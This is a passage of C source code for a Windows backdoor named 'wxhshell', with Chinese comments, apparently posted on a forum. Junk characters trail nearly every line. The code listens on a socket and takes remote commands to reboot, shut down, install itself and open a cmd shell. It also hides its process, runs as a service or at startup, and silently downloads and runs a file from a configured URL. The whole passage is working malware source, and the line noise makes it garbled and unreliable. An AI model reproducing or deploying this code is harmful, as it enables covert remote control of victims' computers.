    break; 6O%=G3I  
  } cy9N:MR(c  
  // 安装 cyDiA(ot&  
  case 'i': {  s"#CkG  
    if(Install()) M$gvq:}kt  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); # e$\~cPd  
    else Y]?Kqc  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^v#+PyW  
    break; 2}ag_  
    } Lq3(Z%  
  // 卸载 THb A(SM  
  case 'r': { dzpj9[  
    if(Uninstall()) ~igRg~k:/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _J +]SNk  
    else il=?of\,i  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); '/n\Tg+  
    break; Xk 5oybDI  
    } Q1K"%  
  // 显示 wxhshell 所在路径 B<rPvM7a  
  case 'p': { rrW! X q  
    char svExeFile[MAX_PATH]; !Jh*a *I}  
    strcpy(svExeFile,"\n\r"); 'et(:}i  
      strcat(svExeFile,ExeFile); q`h7H][(A  
        send(wsh,svExeFile,strlen(svExeFile),0); ry z /rf  
    break; ]cS&8{ ^2  
    } IQ o]9Lx  
  // 重启 =H L9Z  
  case 'b': { iM4mkCdOO  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 7^`RP e^a+  
    if(Boot(REBOOT)) YAX #O\,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); p, !1 3X  
    else { (Be$$W  
    closesocket(wsh); R %Rv  
    ExitThread(0); N=hSqw[  
    } @+[Y0_  
    break; 3AX?B~s  
    } N+ak[axN  
  // 关机 $z~jnc  
  case 'd': { IJ+O),'  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ~:R4))qpg  
    if(Boot(SHUTDOWN)) mxtlr)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Rc;1Sm9\  
    else {  ]v/t8`  
    closesocket(wsh); B/kcb(5v  
    ExitThread(0); &3!i@2d;3f  
    } "4J?JR  
    break; wOD/Z8  
    } oiIt3<BX  
  // 获取shell -i| /JH  
  case 's': { g-4gI\  
    CmdShell(wsh); 4;B= Qoxe  
    closesocket(wsh); O@G<B8U,K  
    ExitThread(0); 1uKD&k%q  
    break; = ?y^O0v  
  } NdaVT5RB  
  // 退出 I8XGU)  
  case 'x': { yz54:q?  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); c%o5 E%  
    CloseIt(wsh); :YkDn~@  
    break; M'pY-/.  
    } 7{?lEQ&UE  
  // 离开 5%vP~vy_}  
  case 'q': { yQ72v'  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); D'U\]'.  
    closesocket(wsh); $`cy'ZaF  
    WSACleanup(); o{s4.LKK  
    exit(1); W\d0  
    break; ^XjvJa  
        } j@kRv@  
  } %D%e:se  
  } 853]CK<  
+_vm\]4  
  // 提示信息 pO-)x:Wg  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); gDUoc*+h  
} s (l+{b &  
  } ee__3>H"/  
rd f85%%7  
  return; ?j},O=JFn  
} _rWTw+ L  
(7 ]\p  
// shell模块句柄 {Tjtj@-  
int CmdShell(SOCKET sock) *X"F:7  
{ 2n"*)3Qj  
STARTUPINFO si; X.r!q1_c  
ZeroMemory(&si,sizeof(si)); Qe' PAN=B  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 5d!z<{`  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; fb;hf:B:  
PROCESS_INFORMATION ProcessInfo; AZBY, :>D  
char cmdline[]="cmd"; ]G$!/vXP  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ;NvhL|R  
  return 0; C/grrw  
} {Hrr:hC  
OP\^c  
// 自身启动模式 O~c+$(  
int StartFromService(void) ~a0d .dU  
{ r;5 AY  
typedef struct ]VO,} `  
{ 0^|$cvYiL  
  DWORD ExitStatus; .1l[l5$  
  DWORD PebBaseAddress; =qVAvo'  
  DWORD AffinityMask; KJ05Zx~uma  
  DWORD BasePriority; Rwi5+;N  
  ULONG UniqueProcessId; <#J<QYF&2  
  ULONG InheritedFromUniqueProcessId; Z:}2F^6  
}   PROCESS_BASIC_INFORMATION; =#PudF.\  
a*e|>pDO  
PROCNTQSIP NtQueryInformationProcess;  t}* qs  
QvyUd%e'5A  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; {BwN4r46  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; _3g %F  
y D=)&->Ra  
  HANDLE             hProcess; +LU).  
  PROCESS_BASIC_INFORMATION pbi; 1dXO3hot  
;_;H(%uY  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); NEjB jLJZ  
  if(NULL == hInst ) return 0; QRn:=J%W W  
^{:[^$f:l  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); s^x , S  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); *jqPKK/  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); '!2  
'j =PbA  
  if (!NtQueryInformationProcess) return 0; 4'u|L&ow  
0v,`P4_k  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); YH:W]  
  if(!hProcess) return 0; r>D[5B  
]mDsUZf<  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; %.r5E2'  
kk>0XPk  
  CloseHandle(hProcess); ".7 KEnx  
<=LsloI  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 8~XI7g'5x  
if(hProcess==NULL) return 0; {pi67"mYp  
B3i=pcef  
HMODULE hMod; wNlV_  
char procName[255]; 'e8d["N  
unsigned long cbNeeded; (Nve5  
E].a|4sh  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); IcNIuv  
l.LFlwt  
  CloseHandle(hProcess); -a#AE|`  
+[go7A$5  
if(strstr(procName,"services")) return 1; // 以服务启动 j^R~ Lt4  
:X'U`jE  
  return 0; // 注册表启动 )SO1P6  
} V3Rnr8  
j$/uJ`  
// 主模块 X/C54%T ~  
int StartWxhshell(LPSTR lpCmdLine) 1pBsr(  
{ we@En .>f  
  SOCKET wsl; E*#60z7F  
BOOL val=TRUE; "NI>HO.U  
  int port=0; 1=cfk#  
  struct sockaddr_in door; ^a0 -5  
gB'Ah-@,P  
  if(wscfg.ws_autoins) Install(); OA5md9P;d  
97@?QI}  
port=atoi(lpCmdLine); QSQ\@h;E  
k>@^M]%  
if(port<=0) port=wscfg.ws_port; $1`t+0^k  
lKD<  
  WSADATA data; mf_ 9O  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; H0Gp mKYW  
"7u"d4h-:(  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   X0J]6|du.  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); TuhL :  
  door.sin_family = AF_INET; n"VE!`B  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 4)S?Y"Bs  
  door.sin_port = htons(port); x>/@Z6Wxz  
nJ`a1L{N  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Yka yT0!  
closesocket(wsl); OKH~Y-%<  
return 1; InGbV+ I  
} lb XkZ,  
Z.#glmw^=R  
  if(listen(wsl,2) == INVALID_SOCKET) { G"R>aw  
closesocket(wsl); rG'k<X~7  
return 1; ?z36mj"`o  
} i /U{dzZ  
  Wxhshell(wsl); t 1'or  
  WSACleanup(); $@!&ML  
+_K;Pj]x  
return 0; dg@/HLZ  
:a<TV9?H0  
} %>}7 $Y%  
Z["nY&.sI  
// 以NT服务方式启动 > ]N0w  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) i!-sbwd7  
{ ,Onm!LI=  
DWORD   status = 0; SNV+.xN  
  DWORD   specificError = 0xfffffff; gKH"f%lK  
GHrT?zEX  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ,oVBgCf  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; S:T>oFUot  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; n`2"(7Wj  
  serviceStatus.dwWin32ExitCode     = 0; 5 /VB'N#7s  
  serviceStatus.dwServiceSpecificExitCode = 0; nylIP */  
  serviceStatus.dwCheckPoint       = 0; "S} hcAL/  
  serviceStatus.dwWaitHint       = 0; +mF 2yh  
aD`e]K ^L  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); zU=[Kc=$  
  if (hServiceStatusHandle==0) return; +4vX+;: br  
p%qL0   
status = GetLastError(); B=xZkc  
  if (status!=NO_ERROR) &K*_/Q '\  
{ ATkqzE`;  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; PqeQe5  
    serviceStatus.dwCheckPoint       = 0; 2PW3 S{Dt  
    serviceStatus.dwWaitHint       = 0; .aRxqFi_  
    serviceStatus.dwWin32ExitCode     = status; 1;9E*=  
    serviceStatus.dwServiceSpecificExitCode = specificError; uy%PTi+A  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); s+t eYL#Zi  
    return; F4l6PGxF&\  
  } QU;C*}0Zl  
K&oO+G^f  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; {.)~4.LhQM  
  serviceStatus.dwCheckPoint       = 0; T1TZ+ \  
  serviceStatus.dwWaitHint       = 0; .-*nD8b  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ^]K)V  
} VL1z$<vVXt  
@"5u~o')@v  
// 处理NT服务事件,比如:启动、停止 ^IZ0M1&W;  
VOID WINAPI NTServiceHandler(DWORD fdwControl) AR2+W^aM3  
{ WkmS   
switch(fdwControl) :Fk&2WsW:  
{ U} h |Zk  
case SERVICE_CONTROL_STOP: q.tL'  
  serviceStatus.dwWin32ExitCode = 0; f}uCiV!?v  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Bnc  
  serviceStatus.dwCheckPoint   = 0; <GR:5pJ%  
  serviceStatus.dwWaitHint     = 0; r+yLK(<zp  
  { .Cd$=v6  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); HC}C_Q5c91  
  } b%$C!Tq'  
  return; |"*:ZSj  
case SERVICE_CONTROL_PAUSE: No+zw%l0E  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; $h f\ #'J  
  break; Nd)o1 {I  
case SERVICE_CONTROL_CONTINUE: ?*dx=UI  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ps J 1J  
  break; =jHy6)6w  
case SERVICE_CONTROL_INTERROGATE: NP/2gjp  
  break; 51usiOq  
}; :S2MS{>Mo  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4<HJD&@V  
} $ {"St&(  
p0@mumh  
// 标准应用程序主函数 <6$%Y2  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ]<_+uciP5[  
{ t`{Fnf  
&"0[7zgYQz  
// 获取操作系统版本 )Jn80~U|1  
OsIsNt=GetOsVer(); Q)8t;Kx  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 7 4UE-H)  
XcneH jpR  
  // 从命令行安装 $*ZHk0 7x  
  if(strpbrk(lpCmdLine,"iI")) Install(); Re>e|$.T  
}_TdXY #w\  
  // 下载执行文件 8h 2?Q  
if(wscfg.ws_downexe) { [b'fz  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) KfS^sT  
  WinExec(wscfg.ws_filenam,SW_HIDE); } 4^UVdz  
} >{8H==P  
3 g&mND  
if(!OsIsNt) { ybkN^OEJ  
// 如果时win9x,隐藏进程并且设置为注册表启动 s|oU$?eA  
HideProc(); Wn5]2D\vkT  
StartWxhshell(lpCmdLine); ["9$HL  
} ('oUcDOFTS  
else bp_@e0  
  if(StartFromService()) ?a(3~dh|  
  // 以服务方式启动 ay.IKBXc  
  StartServiceCtrlDispatcher(DispatchTable); $r_gFv  
else g#*N@83C  
  // 普通方式启动 aKO@_R,:  
  StartWxhshell(lpCmdLine); VVOt%d  
W=:+f)D  
return 0; } U.B$4Q  
}
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只看该作者 1 发表于: 2006-10-10
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